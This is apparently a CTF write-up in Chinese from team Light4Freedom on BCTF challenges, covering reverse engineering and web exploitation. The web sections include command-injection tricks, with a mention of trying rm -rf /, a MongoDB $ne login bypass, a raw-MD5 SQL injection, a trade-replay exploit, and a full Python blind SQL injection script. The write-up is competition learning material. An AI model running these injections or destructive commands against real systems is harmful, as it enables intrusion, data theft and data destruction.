自从Light4Freedom战队带来了Light4Freedom战队BCTF攻略(上)之后,反响非常强烈,没参加比赛的同学也感受到了比赛的激烈,本次Light4Freedom带来了BCTF攻略系列第二篇,堪称大作,详情如下:

0x0A    小菜一碟[200]    From    TeddyJoy

过程:

通过对程序逆向,idt7 中有注释,可以得到如下几个公式:

以下所有公式的 t 代表输入的字串(只能为 0-9 的数字)在内存中经过变换后的字符数组下标

    M0 = t6 * t7 % 10
    M1 = t7 + ( t6*t7/10 )
    t0 = M1 - ( (M1/10) *5 *2 )
    M01 = t6*8 % 10
    M11 = 8 + (t6*8/10)
    t1 = (M11 - ((M11/10)*5*2)) + M0

通过以上公式可以写出 python 代码(while.py),确定输入字串中的 0,1,5,6 位取任意一组(1111.txt 文件中的数据): 6 9 2 5

从 sub_401000 函数中得到公式如下:

    M02 = (t*b)%10
    M12 = b + ((t*b)/10)
    M03 = (t*a)%10
    M13 = a + ((t*a)/10)
    F = M03 + (M12-((M12/10)*5*2))
    F1 = M13 - ((M13/10)*5*2)
    G = (M12/10) + (F1 + (F/10))

通过以上公式可以写出 python 代码(401000.py), 确定输入字串中的 3,4,7,8 位

取任意一组: 0 8 0 9

再通过源程序中 while 循环后(sub_401000 函数前)的简单判断,确定输入字串的 2位

到这里就确定了前 9 位:6970 8250 9 …

最后在源程序中发现程序会根据输入的字串生成一个新的字串,该新字串的最后 7位和输入的字串相同就可以通过。

所以最后输入字串:6970 8250 9699 6108

===================Light_4_Freedom=================

0x0B    神秘系统[400]    From    howmp

文件索引结构

db    hasfile
db    00
db    datalen
db    00
db    key1
db    key2
db*4 unknow
db*16 filename xor by 0xcc
数据块结构
db    01
db    00
db*4 unknow     (FFFFFFFF 表示结果)
db*0x1A data
d[0]^ key1 ^ 0
d[1]^ key2 ^ 1    只有这一次的 key 不一样
d[2]^ key1 ^ 2
d[3]^ key1 ^ 3

直接在 bctfos 文件中搜索 01 00 即可定位到 1 个文件索引结构,6 个数据块结构

提取之后排列组合解密到有意义的字符即可

Dear CTFer, 

if you see this message, you have completely understood my OS.Congratulations!\x03\x03Here is what you want:

BCTF{6e4636cd8bcfa93213c83f4b8314ef00}

===================Light_4_Freedom=================

0x0C    分分钟而已[100]    From    EvilMoon

描述

米特尼克看到现代的互联网这么发达简直惊呆了,但几秒钟之后他就回过了神,

摩拳擦掌准备一试身手,他需要拿到 BAT 公司中一个名叫 Alice 员工的秘密文件,Alice 只是个初级的网络 管 理 员 , 所 以 想 来 拿 他 的 文 件 也 不 过 是 分 分 钟 的 小 游 戏 而 已 。

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php

题解

其实题目名字本身就是一个 tip,解题不需要考虑太多,但是题目却把大家带到一坑里,

观察每个人名不难发现, 参数后面跟的是 md5(name+random_num),由于跟的是一个三位id数的数字,题目说寻找 alice,所以将 alice 和一个三位数字加一起枚举下 md5 可以得到Alice478 的 md5 后有东西。

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php?id=d482f2fc6b29a4605472369baf8b3c47

访问

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/d4b2758da0205c1e0aa9512cd188002a.php

之后发现是一张图片,便察看源码

发现有这么一个类似 tip 的东西,但是事实证明- -。这是个坑。许久没搞定之后,想说题目说是分分钟搞定,便挂了一个扫描路径的。便可得到:

http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/config.php.bak

Config.php.bak

下载后,打开

一眼认出是 jother 编码

果断丢到 console 跑一下

便可得到 flag。

===================Light_4_Freedom=================

0x0D    真假难辨[200]    From    Mr_half

点入链接发现有如此提示

感觉像是要修改 cookie 之类的,可是查看 cookie 发现没有任何 cookie,于是猜测是有hidden 的表单需要修改提交

果然如此,于是尝试将 ip 改成 127.0.0.1 之类的成功登入。

发现出现基础认证的登陆框。往往觉得这样的登陆框要绕过,无非一是下载.htaccess,找到.htpasswd,二是可能服务器的htaccess 有缺陷,将提交方法由 POST 改成 GET 或是其他的则有可能可以绕过。结果两种方法都尝试了发现都无法绕过,纠结抓狂时顺手打了 admin, admin 成功登陆……

发现要打游戏。一般而言感觉正常人没法通关这个游戏,于是查看源代码。

敏感的文件应该是那个 js,于是继续读。

看到这里发现有很多参数,第一反应是修改 life 让自己血无限大,于是便可以通关,结果发现通关后

感觉一定是有什么问题,于是在代码中寻找 once again 这句话,发现:

是必须要杀死十只怪物,于是才会出现 key。然而也发现了 key 的产生过程,知道了其中一个参数 deadghost 是 10,不知道前面的 key 的参数。于是先看一看 authnum 函数的运行机制。

顺便看看 key 的来源。

发现 key 来源于两个参数,其中一个还是 player 的本身的一些数值。

而 player.pe 是来自于移动速度和生命值。说明这俩不能改。

于是觉得可以修改

这两个参数,上面一个是射击速度,下面一个是受伤害的间隔。将上面调到无限小则攻击 max,下面调大则相当于一个无敌buff。

可是最后发现 flag 出错。

最后发现思路错误,正确思路是因为 key 是一个固定值,所以直接通过 console 让他跳出来就是了。

于是得到 flag。

===================Light_4_Freedom=================

0x0E    见缝插针[300]    From    EvilMoon

描述

在玩过管理员的小游戏并发现秘密信息之后,米特尼克决定研究一下这个管理员管理的所有站点, 大多数都被米特尼克翻了个底朝天, 直到他发现了这个网站。

http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/

题解

直接打开 web300 站点,察看源代码后发现如下 tip

于是下载 test.php.bak

理解代码后发现题目要求实则要求我们在 key 那边写一个长达 15 个字符的字符串,并通过正则,而后执行 room。

http://218.2.197.239:1337/9b30611986fe1822304bdc98fa317cde123/web300/query.php?key=1

1a1111FF112121&room=1

本人用 key=11a1111FF112121 通过了 key 的正则检查。

在 room 时卡了许久,发现许多符号被过滤了,”&”  “|” “`” 等,执行命令无果,便下载 room 来逆向。发现没太多东西,而后将视线转向 shell。想到`command` 相当于是执行了一个命令,而后发现$()仍然可以执行命令,但是$()这类执行结果是返回给的 room 程序。不会回显,遂开始重新思考,该如何绕过。考虑必须在 14 个字符内执行命令,所以反弹一个 shell 是不可行的,经过扫描发现服务器开了 22 端口,大胆猜测 web 服务是不是用 root开启的,如果是则可以添加一个用户,直接登录服务器拿 flag。但是事实证明不是这样的,因为我发现 rm -rf /是没效果的。所以考虑该题是用什么形式给的 flag。便想到可能是用文件名的形式来给 flag。所以便开始研究回显的问题。发现如果只返回一行,room 则有回显,如果超过一行,room 则报错,用 id 和 id -u 即可测试。故用 ls 命令加上通配符再加上枚举只需要写一个小程序判断是否出现 room 的密码,完美绕过官方的解题思路。如$(ls BCTF*)$l(ls *BCT{*)。

得到 flag:

    BCTF{Yooooo_4_God_sake_aay_is_so_C00l}

===================Light_4_Freedom=================

0x0F    冰山一角[400]    From    EvilMoon

描述

在上一个站点中米特尼克学会了特殊的 Web 技巧,在开始渗透前,他会左顾右盼装作看风景。他对 BAT 这个公司的好奇与日俱增,似乎 BAT 并不像是表面上看起来的那样,仅仅是个互联网公司。他追寻一系列蛛丝马迹找到了这个站点,里面似乎隐藏着 BAT 的一项核心机密。站点入口:http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/index.php(注意:

本题 flag 非“BCTF{可见字符串}”形式)

题解

该题由于官方的一个失误没有关闭 mongodb 的远程访问端口,导致上午思路完全跑偏,研究 mongodb 的漏洞去了,不过也是如此让我知道 mongodb 的一些特性。所以 web400 的第一步登录那边需要绕过登陆验证,即绕过 mongodb 的登陆验证。

参考:

https://www.idontplaydarts.com/2010/07/mongodb-is-vulnerable-to-sql-injection-in-php-at-leas

t/

当时不甚理解$ne 的含义,便只是尝试 password 那的 ne。而后静下心来查了一些 mongodb的资料发现。

$ne selects the documents where the value of the field is not equal (i.e. !=) to the specified value.

This includes documents that do not contain the field.

使用"$ne"

查出所有 name 不等 refactor1 的文档,注意 文档中不存在键 name 的文档也会被查出来

db.users.find({"name":{"$ne":"refactor1"}})

所以就好理解了,有可能是 username 也不知道,直接用 ne 绕过

便能得到下一步的 tip

http://218.2.197.240:1337/0cf813c68c3af2ea51f3e8e1b8ca1141/you_guys_fxxking_smart.jpg

问题出在他的那边返回写了 true 则会返回 2 进制的 hash,这里面就有文章可以做了。

而且这边给出了源代码,按图索骥,不难查到这题撞题了。

http://dc406.com/component/content/article/393-sql-injection-with-raw-md5-hashes.html

这题细细分析,不难得出只要加密后存在 md5(’=’)的 hash 便可绕过验证,但是本题有个问题,是什么呢?就是他加盐了。但是随后官方给出 hint:盐在头中,名字则为 bob 喜欢第一个字母则是 b。所以只需要枚举 hash(xxxb)。但是用’=’来枚举,发现怎么都跑不出来,而后思考,不可能给太大。所以就想是否是用了其他的绕过,然后本人就可耻的用 burp suite 枚举了 1-10000 的数值。发现 9384 给出了 password

其实到这边只需要取 16 进制到 cmd5.com 查询下就能出 flag 了

本人也的确这么做了…

查出来的 flag 是用 sha512 做的 hash。两个合起来就是 flag

b1u310tus

但是本着探究的精神,本人用 sha512 给 9384 做了一次 hash

最后发现官方是用的’+’来绕过=。=#

所以本题结束。

===================Light_4_Freedom=================

0×10    花钱如流水[500]    From    EvilMoon

描述

米特尼克之前从 FBI 那里搞到一大笔比特币,一秒钟变土豪,提现之后挥霍无度,更是被街上兜售绝世武林秘籍的老大爷狠狠地骗了一笔,结果一大笔巨款竟然被他分分钟用完了,他只好把目光投向了一个比特币交易平台M7G0x , 85w 比特币在等待着你哟少年 。

http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/

题解

本题一共有三个步骤: 

步骤一:变土豪,帮助中提示要有 200 个 btc 成为高级会员。

初期注册他会给你 10000 块软妹币。如果系统是初始化的状态你用 10000 块就能买 1btc。

但是由于存在其他玩家市场就被打乱了。但是方法大同小异,因为 btc 价格有个上限,所以如果存在其他玩家的情况下,只需要先刷 rmb 再买一个 btc 来处理就 ok。刷 rmb 的方法和刷 btc 的方法一样,直接看下面。

一开始注册的初始状态。

买入一个 btc。

然后挂奇高的价格,让这个 btc 别人买不到,就能产生一个挂单。

产生挂单后,在逻辑上,如果关闭这个挂单 btc 是会返回到你的帐户内的,但是如果没有验证该次返回是否已经执行过了,只需要一直关闭挂单,就可以有源源不断的 btc 返回到你帐户内。

我关闭的链接为:

http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=trade_close&id=7

599

而后用 burp suite 不断提交 n 次请求,刷到 btc 有 200,即可。然后退出重新登陆就是高级会员了。

嗯~高富帅阿~~

既然成为了高级会员是不是就能做点什么害羞的事情呢。比如专门的客服什么的。

但是发现买有这个客服!所以我们就注意到提现这个功能,可能只有高级会员可以送到后台去(奸商

阿!摔)。只需要往里面写点什么东西,就能 xss 到后台去。

http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=index&show=setting&a

dmin=1

一开始怀疑是不是在这边改配置然后写入一句话,然后在 config.php 那边连接从而拿到服务器权限。

然而- -

好吧。那就让我们在开动下我们聪明的小脑袋瓜,想一下还有什么点。就在这时放出了一个

大 hint。SQLi!

既然是 SQLi,而且是需要我们先能打到后台,意味着注入点只会是存在后台特有的功能,后台特有的功能是什么呢?

1、查看交易纪录。2、充值。3、修改公告。4、提现纪录。

一个个筛选后,并且题目提示 sqlmap 不用想了,所以直接能排除提现纪录。而后开始考虑留言板注入,发现留言板没问题,xss 没有注入没有。然后再将目标转到充值上,一开始考虑到 update 是能够注入的,有没有可能是将 admin 的密码改了,登陆的时候便可以拿到 flag。但是测试后发现,update 应该是写了正则匹配数字,所以这条路也失败了。最后只剩下交易纪录这一项。可以看到,交易记录那边存在着返利功能。

点返利以后,用 burp suite 截获一下

通过改包发现

如加单引号则返回 500

加 and 1=2 后返回 200 但是返利按钮仍然存在

加 and 1=1 返回 200 并且返利按钮不见。

证明这是个注入点,如果 sql 语句不正确则返回 500 如果正确则返回 200。如果该语句为真则执行后续的流程,返利给用户,如果为假则不返利。

所以我们就可以执行盲注来猜解了,由于之前是手工猜解,已经知道存在一个 flag 的表,有两个字段 id 和 text。Flag 则在 text 字段中,所以下面的脚本只做猜解 flag 用,但是只要稍微修改下则可以搞定其他的猜解。

代码如下:code debug by dc2014 & EvilMoon

#!/usr/bin/python
#-*-coding:utf-8-*-
import httplib,urllib,re
import time
def get_btc_order_id(cookie):
order_id = 0
params = ''
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive","Referer":"",
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS
AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/33.0.1750.146 Safari/537.36","Cookie":cookie}
conn = httplib.HTTPConnection("218.2.197.241:9080")
X
10_9_1)
conn.request(method="GET",url="/d5a9b455db0929e17a2e12d21e786643/?act=index&sho
w=trade&admin=1",body=params,headers=headers)
response = conn.getresponse()
print "get_btc_order_id:",response.status
print "get_btc_order_id:",response.reason
web_detail = response.read()
orderid_str = re.findall(r'\"\d{4,5}\"',web_detail)
if orderid_str !=[]:
print orderid_str
order_id = int(orderid_str[0][1:-1])
#print order_id
else :
print "none"
conn.close()
return order_id
def buy_btc_2_get_order(cookie):
print 'buy_in'
params = urllib.urlencode({'price':'1','amount':'1','pin':'654321'})
headers = {"Content-Type":"application/x-www-form-urlencoded",
"Connection":"Keep-Alive","Referer":"",
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X
AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/33.0.1750.146
Safari/537.36","Cookie":cookie,'Content-Length':len(params),
10_9_1)
"Referer":"http://218.2.197.241:9080/d5a9b455db0929e17a2e12d21e786643/?act=my&s
how=buy_btc"}
conn = httplib.HTTPConnection("218.2.197.241:9080")
conn.request(method="POST",url="/d5a9b455db0929e17a2e12d21e786643/?act=buy_btc",
body=params,headers=headers)
print 'post_ok'
response = conn.getresponse()
print "buy_btc_2_get_order:",response.status
print "buy_btc_2_get_order:",response.reason
#print response.read()
order_id = get_btc_order_id(cookie)
conn.close()
return order_id
def sql_inject(char_num,ascii_num,cookie,order_id,fh):
#order_id = get_btc_order_id(cookie)
inject_e = ' and ascii(substring((select text from flag limit 0,1),%d,1)) = %d'
%(char_num,ascii_num)
inject_b = ' and ascii(substring((select text from flag limit 0,1),%d,1)) > %d'
%(char_num,ascii_num)
inject_s = ' and ascii(substring((select text from flag limit 0,1),%d,1)) < %d'
%(char_num,ascii_num)
if fh == 0:
order_id_inject = str(order_id)+inject_e
if fh == 1:
order_id_inject = str(order_id)+inject_b
if fh == 2:
order_id_inject = str(order_id)+inject_s
#params = urllib.urlencode({'id':order_id_inject})
params = "id="+order_id_inject
print params
headers = {"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Host":"218.2.197.241:9080",
"Accept": "*/*",
"Origin": "http://218.2.197.241:9080",
"Cookie":cookie,
"Content-Length":len(params)}
conn = httplib.HTTPConnection("218.2.197.241:9080")
conn.request("POST","/d5a9b455db0929e17a2e12d21e786643/?act=trade_promote&admin
=1",params,headers)
print "len(params) :",len(params)
response = conn.getresponse()
print "sql_inject:",response.status
print "sql_inject:",response.reason
conn.close()
#raw_input()
order_id_1 = get_btc_order_id(cookie)
print "=======order_id :",order_id,"==================="
print "=======order_id_1:",order_id_1,"==================="
# 如果新得到的订单号和原来的不一样,则说明执行成功了
if order_id_1 != order_id:
return 1
else:
return 0
cookie = "PHPSESSID=gho1t466klpce24pf31d91s242"
i = 1
start = 21
end = 126
s=''
order_id = get_btc_order_id(cookie)
if order_id == 0:
order_id = buy_btc_2_get_order(cookie)
while 1:
k = 0
while k == 0:
mid = (start + end)/2
print
'******************************************************************************
*'
print 'i',i
print 'mid',mid
da = sql_inject(i,mid,cookie,order_id,2)
#time.sleep(1)
xi = sql_inject(i,mid,cookie,order_id,1)
#time.sleep(1)
eq = sql_inject(i,mid,cookie,order_id,0)
#time.sleep(1)
print 'da',da,'xiao',xi,'eq',eq
if da == 1:
print "smaller than " + chr(mid)
end = mid - 1
order_id = buy_btc_2_get_order(cookie)
print order_id
else:
if xi == 1:
print "bigger than " + chr(mid)
start = mid + 1
order_id = buy_btc_2_get_order(cookie)
else:
if eq == 1:
print "equal with " + chr(mid)
k = 1
i += 1
s = s + chr(mid)
print "some of flag:",s
start = 21
end = 126
order_id = buy_btc_2_get_order(cookie)
if chr(mid)=='}':
print "flag:" + s
raw_input()
exit()

得到 flag :

BCTF{Bitcoin_is_Gold_Litecoin_is_Silver}

===================END===================


PS:再次感谢Freebuf小编嘎巴嘎巴不惜辛苦的排版么么哒~

源链接

Hacking more

...